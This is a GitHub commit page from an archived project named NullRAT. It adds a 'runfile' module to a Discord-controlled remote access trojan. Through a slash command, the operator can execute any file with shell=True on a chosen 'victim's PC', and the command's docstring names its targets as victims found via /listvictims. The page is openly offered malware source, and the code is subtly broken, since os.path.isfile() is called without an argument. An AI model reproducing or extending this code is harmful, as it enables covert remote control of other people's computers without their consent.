Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 313a820

Browse files
committed
Add new command: runfile
1 parent 8f9b3b5 commit 313a820

1 file changed

Lines changed: 38 additions & 0 deletions

File tree

NullRAT/modules/runfile.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
import disnake as discord
2+
from disnake.ext import commands
3+
from datetime import datetime
4+
5+
import os, requests, subprocess
6+
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7+
8+
class RunFile(commands.Cog):
9+
def __init__(self, bot: commands.Bot):
10+
self.bot = bot
11+
12+
@commands.slash_command( )
13+
async def runfile(self, ctx, victim, file_path):
14+
"""Execute a file in victim's PC
15+
16+
Parameters
17+
----------
18+
victim: Identifier of the affected computer (found via /listvictims).
19+
file_path: Path of the file for executing.
20+
"""
21+
22+
if str(victim) == str(self.bot.identifier):
23+
if os.path.isfile():
24+
output = subprocess.run(
25+
file_path,
26+
shell=True,
27+
stdin=subprocess.PIPE,
28+
stderr=subprocess.PIPE,
29+
stdout=subprocess.PIPE,
30+
).stdout.decode('utf-8')
31+
32+
return await ctx.response.send_message("File has been started, maybe")
33+
34+
else:
35+
return await ctx.response.send_message("Invalid file")
36+
37+
def setup(bot: commands.Bot):
38+
bot.add_cog(RunFile(bot))

0 commit comments

Comments
 (0)